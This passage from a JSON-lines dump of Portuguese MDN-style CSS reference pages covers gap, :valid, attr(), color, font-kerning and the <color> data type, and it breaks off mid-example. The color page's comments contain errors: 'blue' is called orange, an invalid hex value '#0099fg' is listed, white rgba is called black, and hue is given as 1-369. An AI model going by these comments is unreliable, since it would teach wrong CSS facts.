exciting? I sure do!\n</p>\n```\n\n\n#### CSS\n\n\n```css\n.content-box {\n  column-count: 3;\n  gap: 40px;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Alignment Module Level 3 # gap-shorthand |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Propriedades CSS relacionadas: `row-gap` (en-US), `column-gap` (en-US)\n* Guia para layout Grid: *`Conceitos básicos de Grid Layout - Gutters`*"}
{"title":":valid - CSS","text":":valid\n======\n\nA pseudo-classe CSS **`:valid`** representa qualquer `<input>` ou outro elemento do `<form>` (en-US) cujo conteúdo foi validado com sucesso. Isso permite, facilmente, adicionar uma aparência que ajude o usuário a identificar os campos validados.\n\n\n```css\n/\\* Seleciona qualquer input válido \\*/\ninput:valid {\n  background-color: powderblue;\n}\n```\n\n\nEssa pseudo-classe é útil para realçar os campos válidos para o usuário.\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\nVeja `:invalid` para um exemplo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-valid |\n| Selectors Level 4 # validity-pseudos |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outras pseudo-classe relacionada com validação: `:required`, `:optional`, `:invalid`\n* Form data validation (en-US)"}
{"title":"attr - CSS","text":"attr\n====\n\nA função **`attr()`** do CSS é utilizada para se obter o valor de um determinado atributo do elemento selecionado e usá-lo na folha de estilo. Também pode ser utilizado em pseudo-elementos, nesse caso o valor do atributo no pseudo-elemento do elemento original é retornado.\n\n\n```css\n/\\* Uso Simples \\*/\nattr(data-count);\nattr(title);\n\n/\\* Com o tipo \\*/\nattr(src url);\nattr(data-count number);\nattr(data-width px);\n\n/\\* Com fallback \\*/\nattr(data-count number, 0);\nattr(src url, '');\nattr(data-width px, inherit);\nattr(data-something, 'default');\n```\n\n\n**Nota:** A função `attr()` pode ser utilizada com qualquer propriedade CSS, mas o suporte para propriedades que não sejam `content` é experimental.\n\nSintaxe\n-------\n\n### Valores\n\n`nome-do-atributo`\n\nÉ o nome do atributo HTML do elemento referenciado no CSS.\n\n`<tipo-ou-unidade>` \nExperimental\n\nÉ uma palavra-chave representando tanto o tipo quanto o valor do atributo, ou sua unidade, assim como no HTML alguns atributos tem unidades implícitas. Se o uso de `<tipo-ou-unidade>` como um valor para determinado atributo for inválido, a expressão `attr()` será inválida também. Se omitida, o padrão será `string`. A lista de valores válidos é:\n\n| Palavra-chave | Tipo Associado | Comentário | Valor Padrão |\n| --- | --- | --- | --- |\n| `string` | `<string>` (en-US) | O valor do atributo é tratado como um CSS `<string>` (en-US). NÃO será reparado, e em particular os caracteres usados . | An empty string. |\n| `cor` \nExperimental\n | `<color>` | O valor do atributo é analisado como hash (3- ou 6-valores hash) ou a palavra-chave. Precisa ser um valor `<string>` (en-US) CSS válido. Os espaços do lead e trail são retirados. | corAtual |\n| `url` \nExperimental\n | `<url>()` (en-US) | The attribute value is parsed as a string that is used inside a CSS `url()`function. Relative URL are resolved relatively to the original document, not relatively to the style sheet. Leading and trailing spaces are stripped. | The url `about:invalid` that points to a non-existent document with a generic error condition. |\n| `integer` \nExperimental\n | `<integer>` (en-US) | The attribute value is parsed as a CSS `<integer>` (en-US). If it is not valid, that is not an integer or out of the range accepted by the CSS property, the default value is used. Leading and trailing spaces are stripped. | `0`, or, if `0` is not a valid value for the property, the property's minimum value. |\n| `number` \nExperimental\n | `<number>` | The attribute value is parsed as a CSS `<number>`. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used. Leading and trailing spaces are stripped. | `0`, or, if `0` is not a valid value for the property, the property's minimum value. |\n| `length` \nExperimental\n | `<length>` (en-US) | The attribute value is parsed as a CSS `<length>` (en-US) dimension, that is including the unit (e.g. `12.5em`). If it is not valid, that is not a length or out of the range accepted by the CSS property, the default value is used. If the given unit is a relative length, `attr()`computes it to an absolute length. Leading and trailing spaces are stripped. | `0`, or, if `0` is not a valid value for the property, the property's minimum value. |\n| `em`, `ex`, `px`, `rem`, `vw`, `vh`, `vmin`, `vmax`, `mm`, `cm`, `in`, `pt`, or `pc` \nExperimental\n | `<length>` (en-US) | The attribute value is parsed as a CSS `<number>`, that is without the unit (e.g. `12.5`), and interpreted as a `<length>` (en-US) with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used. If the given unit is a relative length, `attr()`computes it to an absolute length. Leading and trailing spaces are stripped. | `0`, or, if `0` is not a valid value for the property, the property's minimum value. |\n| `angle` \nExperimental\n | `<angle>` (en-US) | The attribute value is parsed as a CSS `<angle>` (en-US) dimension, that is including the unit (e.g. `30.5deg`). If it is not valid, that is not an angle or out of the range accepted by the CSS property, the default value is used. Leading and trailing spaces are stripped. | `0deg`, or, if `0deg` is not a valid value for the property, the property's minimum value. |\n| `deg`, `grad`, `rad` \nExperimental\n | `<angle>` (en-US) | The attribute value is parsed as a CSS `<number>`, that is without the unit (e.g. `12.5`), and interpreted as an `<angle>` (en-US) with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used. Leading and trailing spaces are stripped. | `0deg`, or, if `0deg` is not a valid value for the property, the property's minimum value. |\n| `time` \nExperimental\n | `<time>` | The attribute value is parsed as a CSS `<time>` dimension, that is including the unit (e.g. `30.5ms`). If it is not valid, that is not a time or out of the range accepted by the CSS property, the default value is used. Leading and trailing spaces are stripped. | `0s`, or, if `0s` is not a valid value for the property, the property's minimum value. |\n| `s`, `ms` \nExperimental\n | `<time>` | The attribute value is parsed as a CSS `<number>`, that is without the unit (e.g. `12.5`), and interpreted as an`<time>` with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used. Leading and trailing spaces are stripped. | `0s`, or, if `0s` is not a valid value for the property, the property's minimum value. |\n| `frequency` \nExperimental\n | `<frequency>` (en-US) | The attribute value is parsed as a CSS `<frequency>` (en-US) dimension, that is including the unit (e.g. `30.5kHz`). If it is not valid, that is not a frequency or out of the range accepted by the CSS property, the default value is used. | `0Hz`, or, if `0Hz` is not a valid value for the property, the property's minimum value. |\n| `Hz`, `kHz` \nExperimental\n | `<frequency>` (en-US) | The attribute value is parsed as a CSS `<number>`, that is without the unit (e.g. `12.5`), and interpreted as a `<frequency>` (en-US) with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used. Leading and trailing spaces are stripped. | `0Hz`, or, if `0Hz` is not a valid value for the property, the property's minimum value. |\n| `%` \nExperimental\n | `<percentage>` (en-US) | The attribute value is parsed as a CSS `<number>`, that is without the unit (e.g. `12.5`), and interpreted as a `<percentage>` (en-US). If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used. If the given value is used as a length, `attr()`computes it to an absolute length. Leading and trailing spaces are stripped. | `0%`, or, if `0%` is not a valid value for the property, the property's minimum value. |\n\n`<fallback>` \nExperimental\n\nThe value to be used if the associated attribute is missing or contains an invalid value. The fallback value must be valid where `attr()` is used, even if it is not used, and must not contain another `attr()` expression. If `attr()` is not the sole component value of a property, its `<fallback>` value must be of the type defined by `<type-or-unit>`. If not set, CSS will use the default value defined for each `<type-or-unit>`.\n\n### Sintaxe formal\n```\n\n<attr()> =   \n  attr( <attr-name> <attr-type>? (en-US) , <declaration-value>? (en-US) )    \n  \n<attr-name> =   \n  [ (en-US) <ident-token> '|' ] (en-US)? (en-US) <ident-token>    \n  \n<attr-type> =   \n  string            | (en-US)  \n  url               | (en-US)  \n  ident             | (en-US)  \n  color             | (en-US)  \n  number            | (en-US)  \n  percentage        | (en-US)  \n  length            | (en-US)  \n  angle             | (en-US)  \n  time              | (en-US)  \n  frequency         | (en-US)  \n  flex              | (en-US)  \n  <dimension-unit>    \n  \n```\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<p data-foo=\"hello\">world</p>\n```\n\n### CSS\n\n\n```css\np::before {\n  content: attr(data-foo) \" \";\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Values and Units Module Level 5 # attr-notation |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Propriedade color do CSS - CSS","text":"Propriedade color do CSS\n========================\n\nA propriedade **`color`** do CSS definine o valor da cor de um elemento com seu conteúdo em texto e seus decorações (estilos). Também define o valorer da `<currentcolor>` (en-US), no qual pode ser usado um valor indireto de outra propriedade, e tem como padrão as cores de outras propriedades (enquanto não definida), tal como a propriedade `border-color` (en-US).\n\nExperimente\n-----------\n\nPara uma visão geral de como usar a propriedade color e semelhantes no HTML, veja Cor - CSS, como começar.\n\nSyntaxe\n-------\n\n\n```css\n/\\* Valores com Palavras-chave \\*/\ncolor: white; /\\* Aqui será definida a cor atual\\*/\n\n/\\* Valores com Palavras-chave \\*/\n/\\* color define a cor do texto no elemento\\*/\ncolor: red; /\\* Define como 'vermelho'\\*/\ncolor: blue; /\\* Define como 'laranja'\\*/\ncolor: cyan; /\\* Define como 'verde-água'\\*/\n\n/\\* Obs: Utilizando \"light\" antes da cor, ela ficará clara.\n ex: lightblue;\n E utilizando \"dark\", ela ficará mais escura.\n ex: darkblue;\n\\*/\n\n/\\* Cores com valores Hexa-decimais,\nou seja de 1 à 15, sendo de 0 à 9 normais,mas de 10 à 15\nsão as letras do alfabeto , logo de \"a\" à \"f\". \\*/\n\ncolor: #090;\ncolor: #0099fg;\ncolor: #090a;\ncolor: #0099bcaa;\n\n/\\* Valores \"rgb\" ou \"rgba\",\nou seja, o primeiro é vermelho, o segundo é verde e\no terceiro é azul, o \"a\" é o nível de transparência da cor,\ne vai de 0 à 1;\nEx: preto meio transparênte = rgba(255,255,255,0.5); \\*/\n\ncolor: rgb(34, 12, 64, 0.6);\ncolor: rgba(34, 12, 64, 0.6);\ncolor: rgb(34 12 64 / 0.6);\ncolor: rgba(34 12 64 / 0.3);\ncolor: rgb(34 12 64 / 60%);\ncolor: rgba(34.6 12 64 / 30%);\n\n/\\* Valores \"hsl()\", sendo\nhsl(num da cor\"1-369\", saturação\"0-100\", luminosidade\"0-100\")\\*/\ncolor: hsl(30, 100%, 50%, 0.6);\ncolor: hsla(30, 100%, 50%, 0.6);\ncolor: hsl(30 100% 50% / 0.6);\ncolor: hsla(30 100% 50% / 0.6);\ncolor: hsl(30 100% 50% / 60%);\ncolor: hsla(30.2 100% 50% / 60%);\n\n/\\* Valores globais, pega algun valor já definido,\npara todo o <body>, por exemplo. \\*/\ncolor: inherit;\ncolor: initial;\ncolor: unset;\n```\n\n\nA propriedade `color` é especificada somente com o valor `<color>` .\n\nNote que o valor sempre será uniforme para `color`. Não podendo ter `<gradient>` (en-US)(gradiente), que é atualmente um tipo para `<image>`.\n\n### Valores\n\n`<color>`\n\nDefine a cor dos caracteres presentes no elemento a ser estilizado.\n\n### Syntaxe formal\n```\n\np { color: gray; }\n```\n\nExemplos\n--------\n\nA seguir, você verá várias maneira de tornar a cor de um texto num parágrafo vermelha:\n\n\n```css\np {\n  color: red;\n}\np {\n  color: #f00;\n}\np {\n  color: #ff0000;\n}\np {\n  color: rgb(255, 0, 0);\n}\np {\n  color: rgb(100%, 0%, 0%);\n}\np {\n  color: hsl(0, 100%, 50%);\n}\n\n/\\* 50% translúcido(transparênte) \\*/\np {\n  color: rgba(255, 0, 0, 0.5);\n}\np {\n  color: hsla(0, 100%, 50%, 0.5);\n}\n```\n\nPreocupações com acessibilidade\n-------------------------------\n\nÉ extremamente crucial que todo site, contenha um contraste de cores adequado, para que pessoas com níveis baixos de visão tenha um aboa experiência ao utilizar o site.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Color Module Level 4 # the-color-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Tipo de dado <color> no CSS."}
{"title":"font-kerning - CSS","text":"font-kerning\n============\n\nA propriedade CSS **`font-kerning`** controla o o uso da informação de kerning, que é, o controle de como as letras serão espaçadas. A informação de kerning é armazenada na fonte, e se a fonte é *well-kerned*, essa caracteristica permite que o espaçamento entre caracteres seja muito parecido, independente dos caracteres.\n\n![Example of font-kerning](/pt-BR/docs/Web/CSS/font-kerning/font-kerning.png)\n\n\n```css\nfont-kerning: auto;\nfont-kerning: normal;\nfont-kerning: none;\n\n/\\* Global values \\*/\nfont-kerning: inherit;\nfont-kerning: initial;\nfont-kerning: unset;\n```\n\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements and text. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntax\n------\n\n### Values\n\n`auto`\n\nThis keyword defers to the browser regarding whether to use kerning. When the font size is small, font kerning may look strange and browsers will disable it. This is the default value.\n\n`normal`\n\nThis keyword requires kerning to be applied.\n\n`none`\n\nThis keyword prevents the browser from using the kerning information stored in the font.\n\n### Formal syntax\n```\n\nfont-kerning =   \n  auto    | (en-US)  \n  normal  | (en-US)  \n  none      \n  \n```\n\nExamples\n--------\n\n\n```css\np {\n  font-kerning: none;\n}\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Fonts Module Level 4 # font-kerning-prop |\n\nBrowser Compatibility\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nKerning Demo\n------------\n\n### HTML Content\n\n\n```html\n<div id=\"kern\"></div>\n<div id=\"nokern\"></div>\n<textarea id=\"input\">AV T. ij</textarea>\n```\n\n### CSS Content\n\n\n```css\n#nokern,\n#kern {\n  font-size: 2rem;\n  font-family: serif;\n}\n#nokern {\n  font-kerning: none;\n}\n#kern {\n  font-kerning: normal;\n}\n```\n\n### JS Content\n\n\n```js\nvar input = document.getElementById(\"input\"),\n  kern = document.getElementById(\"kern\"),\n  nokern = document.getElementById(\"nokern\");\ninput.addEventListener(\"keyup\", function () {\n  kern.textContent = input.value; /\\* Update content \\*/\n  nokern.textContent = input.value;\n});\nkern.textContent = input.value; /\\* Initialize content \\*/\nnokern.textContent = input.value;\n```\n\nSee also\n--------\n\n* `font-variant` (en-US), `font-variant-position` (en-US), `font-variant-east-asian` (en-US), `font-variant-caps` (en-US), `font-variant-ligatures` (en-US), `font-variant-numeric` (en-US), `font-variant-alternates` (en-US), `font-synthesis` (en-US), `letter-spacing`."}
{"title":"<color> - CSS","text":"<color>\n=======\n\nSumário\n-------\n\nO tipo de dado CSS `<color>` indica uma cor no espaço sRGB. Uma cor pode ser descrita em qualquer uma destas formas:\n\n* usando uma *palavra-chave*\n* usando o sistema de coordenada-cúbica RGB (via #-hexadecimal ou das notações funcional `rgb()` e `rgba()`)\n* usando o sistema de coordenada-cilíndrica HSL (via `hsl()` e notações funcionais `hsla()` )\n\nObserve que a lista de valores de cores aceitas foi estendida à medida que a especificação evoluiu, culminando com as cores CSS3 mais recentes.\n\nAssociado à cor no espaço sRGB, um valor <color> também pode consistir de uma coordenada de *valor de transparência* canal-alfa, Indicando como a cor deve se composta com sua cor de fundo.\n\nEmbora os valores de cores CSS sejam definidos com precisão, eles podem aparecer de forma diferente em dispositivos de saída diferentes. A maioria deles não está calibrada e alguns navegadores não suportam o perfil de cores dos dispositivos de saída. Sem estes, a renderização de cores pode variar muito.\n\n**Nota:** A recomendação WCAG 2.0 do W3C aconselha fortemente aos autores web não usarem cor como o único meio para transmitir uma mensagem específica, ação ou resultado. Alguns usuários têm problemas em distinguir cores e as informações transmitidas podem não ser compreendidas. Claro, isso não impede o uso da cor, mas o seu uso apenas como o único meio para descrever certas coisas (veja Cor e contraste de cor (en-US) para mais informações).\n\nInterpolação\n------------\n\nValores do tipo de dados CSS `<color>` podem ser interpolados para realizar animações ou para criar valores <gradient>. Nesse caso, eles são interpolados em cada um de seus componentes vermelho, verde, azul, cada um manipulado como um número real, de ponto flutuante. Observe que a interpolação de cores ocorre no espaço de cores sRGBA alfa-pré-multiplicado para evitar que cores cinzentas inesperadas apareçam. Nas animações, a velocidade da interpolação é determinada pela função de temporização (en-US) associada à animação.\n\nValores\n-------\n\nExistem várias maneiras de descrever um valor <`color>`.\n\n### Palavras-chave de cores\n\nAs palavras-chave de cor são identificadores não sensíveis a maiúsculas e minúsculas que representam uma cor específica, ex.: `red`, `blue`, `brown`, ou `lightseagreen`. O nome descreve a cor, embora seja principalmente artificial. A lista de valores aceitos variou muito ao longo das diferentes especificações:\n\n* CSS nível 1 aceita apenas16 cores básicas, denominadas *cores VGA* já que foram tiradas do conjunto de cores exibíveis das placas gráficas VGA.\n* CSS nível 2 Adicionou a palavra-chave `orange`.\n* Desde o início, os navegadores aceitaram outras cores, principalmente a lista de cores nomeadas X11 já que alguns dos primeiros navegadores foram aplicações X11, embora com algumas diferenças. O SVG 1.0 foi o primeiro padrão a definir formalmente essas palavras-chave; As cores no CSS nível 3 também formalmente definiram essas palavras-chave. Elas são muitas vezes referidas como *palavras-chave de cor estendida*, *cores X11* ou *cores SVG*.\n\nExistem algumas restrições a serem consideradas ao usar palavras-chave:\n\n* Com exceção das 16 cores básicas comuns com HTML, as outras não podem ser usadas em HTML. O HTML vai converter esses valores desconhecidos com um algoritmo específico levando a cores completamente diferentes. Essas palavras-chave só devem ser usadas em SVG & CSS.\n* Palavras-chave desconhecidas tornam a propriedade CSS inválida. Propriedades inválidas sendo ignoradas, a cor não terá efeito. Esse é um comportamento diferente do HTML.\n* Nenhuma palavra-chave de core definida em CSS têm qualquer transparência — eles são cores simples, sólidas.\n* Várias palavras-chave indicam as mesmas cores:\n    + `darkgray` / `darkgrey`\n    + `darkslategray` / `darkslategrey`\n    + `dimgray` / `dimgrey`\n    + `lightgray` / `lightgrey`\n    + `lightslategray` / `lightslategrey`\n    + `gray` / `grey`\n    + `slategray` / `slategrey`\n* Embora os nomes das palavras-chave tenham sido tomadas pelos nomes de cores X11 habituais, a cor pode divergir da cor do sistema correspondente em sistemas X11 como estes são adaptados para o hardware específico pelo fabricante.\n\n| Especificação | Cor | Palavra-chave | valores hex RGB | Resultado |\n| --- | --- | --- | --- | --- |\n| CSS Level 1 |  | `black` | `#000000` |  |\n|  | `silver` | `#c0c0c0` |  |\n|  | `gray` | `#808080` |  |\n|  | `white` | `#ffffff` |  |\n|  | `maroon` | `#800000` |  |\n|  | `red` | `#ff0000` |  |\n|  | `purple` | `#800080` |  |\n|  | `fuchsia` | `#ff00ff` |  |\n|  | `green` | `#008000` |  |\n|  | `lime` | `#00ff00` |  |\n|  | `olive` | `#808000` |  |\n|  | `yellow` | `#ffff00` |  |\n|  | `navy` | `#000080` |  |\n|  | `blue` | `#0000ff` |  |\n|  | `teal` | `#008080` |  |\n|  | `aqua` | `#00ffff` |  |\n| CSS Level 2 (Revision 1) |  | `orange` | `#ffa500` |  |\n| CSS Color Module Level 3 |  | `aliceblue` | `#f0f8ff` |  |\n|  | `antiquewhite` | `#faebd7` |  |\n|  | `aquamarine` | `#7fffd4` |  |\n|  | `azure` | `#f0ffff` |  |\n|  | `beige` | `#f5f5dc` |  |\n|  | `bisque` | `#ffe4c4` |  |\n|  | `blanchedalmond` | `#ffebcd` |  |\n|  | `blueviolet` | `#8a2be2` |  |\n|  | `brown` | `#a52a2a` |  |\n|  | `burlywood` | `#deb887` |  |\n|  | `cadetblue` | `#5f9ea0` |  |\n|  | `chartreuse` | `#7fff00` |  |\n|  | `chocolate` | `#d2691e` |  |\n|  | `coral` | `#ff7f50` |  |\n|  | `cornflowerblue` | `#6495ed` |  |\n|  | `cornsilk` | `#fff8dc` |  |\n|  | `crimson` | `#dc143c` |  |\n|  | `cyan` | `#00ffff` |  |\n|  | `darkblue` | `#00008b` |  |\n|  | `darkcyan` | `#008b8b` |  |\n|  | `darkgoldenrod` | `#b8860b` |  |\n|  | `darkgray` | `#a9a9a9` |  |\n|  | `darkgreen` | `#006400` |  |\n|  | `darkgrey` | `#a9a9a9` |  |\n|  | `darkkhaki` | `#bdb76b` |  |\n|  | `darkmagenta` | `#8b008b` |  |\n|  | `darkolivegreen` | `#556b2f` |  |\n|  | `darkorange` | `#ff8c00` |  |\n|  | `darkorchid` | `#9932cc` |  |\n|  | `darkred` | `#8b0000` |  |\n|  | `darksalmon` | `#e9967a` |  |\n|  | `darkseagreen` | `#8fbc8f` |  |\n|  | `darkslateblue` | `#483d8b` |  |\n|  | `darkslategray` | `#2f4f4f` |  |\n|  | `darkslategrey` | `#2f4f4f` |  |\n|  | `darkturquoise` | `#00ced1` |  |\n|  | `darkviolet` | `#9400d3` |  |\n|  | `deeppink` | `#ff1493` |  |\n|  | `deepskyblue` | `#00bfff` |  |\n|  | `dimgray` | `#696969` |  |\n|  | `dimgrey` | `#696969` |  |\n|  | `dodgerblue` | `#1e90ff` |  |\n|  | `firebrick` | `#b22222` |  |\n|  | `floralwhite` | `#fffaf0` |  |\n|  | `forestgreen` | `#228b22` |  |\n|  | `gainsboro` | `#dcdcdc` |  |\n|  | `ghostwhite` | `#f8f8ff` |  |\n|  | `gold` | `#ffd700` |  |\n|  | `goldenrod` | `#daa520` |  |\n|  | `greenyellow` | `#adff2f` |  |\n|  | `grey` | `#808080` |  |\n|  | `honeydew` | `#f0fff0` |  |\n|  | `hotpink` | `#ff69b4` |  |\n|  | `indianred` | `#cd5c5c` |  |\n|  | `indigo` | `#4b0082` |  |\n|  | `ivory` | `#fffff0` |  |\n|  | `khaki` | `#f0e68c` |  |\n|  | `lavender` | `#e6e6fa` |  |\n|  | `lavenderblush` | `#fff0f5` |  |\n|  | `lawngreen` | `#7cfc00` |  |\n|  | `lemonchiffon` | `#fffacd` |  |\n|  | `lightblue` | `#add8e6` |  |\n|  | `lightcoral` | `#f08080` |  |\n|  | `lightcyan` | `#e0ffff` |  |\n|  | `lightgoldenrodyellow` | `#fafad2` |  |\n|  | `lightgray` | `#d3d3d3` |  |\n|  | `lightgreen` | `#90ee90` |  |\n|  | `lightgrey` | `#d3d3d3` |  |\n|  | `lightpink` | `#ffb6c1` |  |\n|  | `lightsalmon` | `#ffa07a` |  |\n|  | `lightseagreen` | `#20b2aa` |  |\n|  | `lightskyblue` | `#87cefa` |  |\n|  | `lightslategray` | `#778899` |  |\n|  | `lightslategrey` | `#778899` |  |\n|  | `lightsteelblue` | `#b0c4de` |  |\n|  | `lightyellow` | `#ffffe0` |  |\n|  | `limegreen` | `#32cd32` |  |\n|  | `linen` | `#faf0e6` |  |\n|  | `mediumaquamarine` | `#66cdaa` |  |\n|  | `mediumblue` | `#0000cd` |  |\n|  | `mediumorchid` | `#ba55d3` |  |\n|  | `mediumpurple` | `#9370db` |  |\n|  | `mediumseagreen` | `#3cb371` |  |\n|  | `mediumslateblue` | `#7b68ee` |  |\n|  | `mediumspringgreen` | `#00fa9a` |  |\n|  | `mediumturquoise` | `#48d1cc` |  |\n|  | `mediumvioletred` | `#c71585` |  |\n|  | `midnightblue` | `#191970` |  |\n|  | `mintcream` | `#f5fffa` |  |\n|  | `mistyrose` | `#ffe4e1` |  |\n|  | `moccasin` | `#ffe4b5` |  |\n|  | `navajowhite` | `#ffdead` |  |\n|  | `oldlace` | `#fdf5e6` |  |\n|  | `olivedrab` | `#6b8e23` |  |\n|  | `orangered` | `#ff4500` |  |\n|  | `orchid` | `#da70d6` |  |\n|  | `palegoldenrod` | `#eee8aa` |  |\n|  | `palegreen` | `#98fb98` |  |\n|  | `paleturquoise` | `#afeeee` |  |\n|  | `palevioletred` | `#db7093` |  |\n|  | `papayawhip` | `#ffefd5` |  |\n|  | `peachpuff` | `#ffdab9` |  |\n|  | `peru` | `#cd853f` |  |\n|  | `pink` | `#ffc0cb` |  |\n|  | `plum` | `#dda0dd` |  |\n|  | `powderblue` | `#b0e0e6` |  |\n|  | `rosybrown` | `#bc8f8f` |  |\n|  | `royalblue` | `#4169e1` |  |\n|  | `saddlebrown` | `#8b4513` |  |\n|  | `salmon` | `#fa8072` |  |\n|  | `sandybrown` | `#f4a460` |  |\n|  | `seagreen` | `#2e8b57` |  |\n|  | `seashell` | `#fff5ee` |  |\n|  | `sienna` | `#a0522d` |  |\n|  | `skyblue` | `#87ceeb` |  |\n|  | `slateblue` | `#6a5acd` |  |\n|  | `slategray` | `#708090` |  |\n|  | `slategrey` | `#708090` |  |\n|  | `snow` | `#fffafa` |  |\n|  | `springgreen` | `#00ff7f` |  |\n|  | `steelblue` | `#4682b4` |  |\n|  | `tan` | `#d2b48c` |  |\n|  | `thistle` | `#d8bfd8` |  |\n|  | `tomato` | `#ff6347` |  |\n|  | `turquoise` | `#40e0d0` |  |\n|  | `violet` | `#ee82ee` |  |\n|  | `wheat` | `#f5deb3` |  |\n|  | `whitesmoke` | `#f5f5f5` |  |\n|  | `yellowgreen` | `#9acd32` |  |\n| CSS Color Module Level 4 |  | `rebeccapurple` | `#663399` |  |\n\nA cor `rebeccapurple` é equivalente à cor `#639`, e mais informações sobre por que foi introduzida pode ser encontrada neste post no blog Codepen por Trezy \"Honoring a Great Man\" (em inglês)\n\n### `palavra-chave transparent`\n\nA palavra-chave `transparent` representa uma cor totalmente transparente, isto é, a cor vista será a cor de fundo. Tecnicamente, é um preto com canal alfa no seu valor mínimo e é um atalho para `rgba(0,0,0,0)`.\n\n**Nota:** **Nota histórica**\n A palavra-chave `transparent` não era uma cor verdadeira no CSS nível 2 (Revisão 1). Era uma palavra-chave específica que poderia ser usada no lugar de um valor `<color>` regular em duas propriedades CSS: `background` e `border` (en-US). Ela foi adicionada essencialmente para permitir a substituição de cores sólidas herdadas.\n\n\nCom o apoio da opacidade através de canais alfal, `transparent` foi redefinida como uma cor verdadeira no Cores CSS nível 3 permitindo seu uso em qualquer lugar onde for exigido um valor para `<color>`, como a propriedade `color`.\n\n### `palavra-chave currentcolor`\n\nA palavra-chave `currentcolor` representa o valor calculado da propriedade `color` dos elementos . Ela permite que as propriedades de cor sejam herdadas por propriedades ou propriedades de elemento filho que não a herdam por padrão.\n\nEla também pode ser usada em propriedades que herdam o valor calculado da propriedade `color` do elemento e será equivalente à palavra-chave `inherit` nesses elementos, se houver.\n\n#### Exemplo ao vivo\n\nA cor da linha (uma div preenchida com cor) se adapta à cor de sua propriedade `color`, herdada de seu pai.\n\n##### Exemplo 1\n\n\n```html\n<div style=\"color:darkred\">\n  A cor deste texto é a mesma da linha:\n  <div style=\"background:currentcolor; height:1px\"></div>\n  Mais algum texto.\n</div>\n```\n\n\n##### Exemplo 2\n\n\n```html\n<div style=\"color:blue; border-bottom: 1px dashed currentcolor;\">\n  A cor deste texto é a mesma da linha:\n  <div style=\"background:currentcolor; height:1px\"></div>\n  Mais algum texto.\n</div>\n```\n\n### `rgb()`\n\n**Nota:** Na especificação Módulo de cor CSS Color nível 4, a rgba() foi definida como uma função herdada com gramática e comportamento idênticos à rgb(); na verdade, um apelido. Mais para frente, ambas podem aceitar exatamente os mesmos parâmetros.\n\nRGB colors can be expressed through both hexadecimal (prefixed with `#`) and functional (`rgb()`, `rgba()`) notations.\n\nHexadecimal notation (en-US): `#RGB[A]` or`#RRGGBB[AA]`\n\n`R` (red), `G` (green), `B` (blue), and `A` (alpha) are hexadecimal characters (0–9, A–F). `A` is optional. For example, `#ff0000` is equivalent to `#ff0000ff`. The three-digit notation (`#RGB`) is a shorter version of the six-digit form (`#RRGGBB`). For example, `#f09` is the same color as `#ff0099`. Likewise, the four-digit RGB notation (`#RGBA`) is a shorter version of the eight-digit form (`#RRGGBBAA`). For example, `#0f38` is the same color as `#00ff3388`.\n\n`rgb()` (en-US) or `rgba()` (en-US): `rgb[a](R, G, B[, A])` or `rgb[a](R G B[ / A])`\n\n`R` (red), `G` (green), and `B` (blue) can be either `<number>`s or `<percentage>` (en-US)s, where the number `255` corresponds to `100%`. `A` (alpha) can be a `<number>` between `0` and `1`, or a `<percentage>` (en-US), where the number `1` corresponds to `100%` (full opacity).\n\n```\n\n/* These examples all specify the same RGB color: */\n\n#f03\n#F03\n#ff0033\n#FF0033\nrgb(255,0,51)\nrgb(255, 0, 51)\nrgb(255, 0, 51.2) /* ERROR! Don't use fractions, use integers */\nrgb(100%,0%,20%)\nrgb(100%, 0%, 20%)\nrgb(100%, 0, 20%) /* ERROR! Don't mix up integer and percentage notation */\n\n/* whitespace syntax */\nrgb(255 0 0)\n\n/* optional alpha value */\nrgb(255,0,0,0.4)  /* 40% opaque red */\nrgb(255,0,0,40%)  /* 40% opaque red with percentage value for alpha */\nrgb(255 0 0 / 0.4)  /* 40% opaque red */\nrgb(255 0 0 / 40%)  /* 40% opaque red with percentage value for alpha */\n```\n\n### `hsl()`\n\n**Nota:** In the CSS Color Module Level 4 spec, `hsla()` has been defined as a legacy function with identical grammar and behaviour to `hsl()`; in effect, an alias. Going forward, both can accept exactly the same parameters.\n\nColors can also be defined via hue, saturation, and lightness, or HSL, by using the `hsl()` functional notation. The advantage of HSL over RGB is that it is far more intuitive: you can guess at the colors you want, and then tweak. It is also easier to create sets of matching colors (by keeping the hue the same and varying the lightness/darkness, and saturation).\n\n**Hue** is represented as an angle of the color circle (i.e. the rainbow represented in a circle). This angle is given as a unitless `<number>`. By definition **red=0=360**, and the other colors are spread around the circle, so **green=120**, **blue=240**, etc. As an angle, it implicitly wraps around such that -120=240 and 480=120.\n\n Saturation and lightness are represented as percentages.\n `100%` is full **saturation**, and `0%` is a shade of grey.\n `100%` **lightness** is white, `0%` lightness is black, and `50%` lightness is \"normal.\"\n\n\n```css\nhsl(0,  100%,50%)    /\\* red \\*/\nhsl(30, 100%,50%)\nhsl(60, 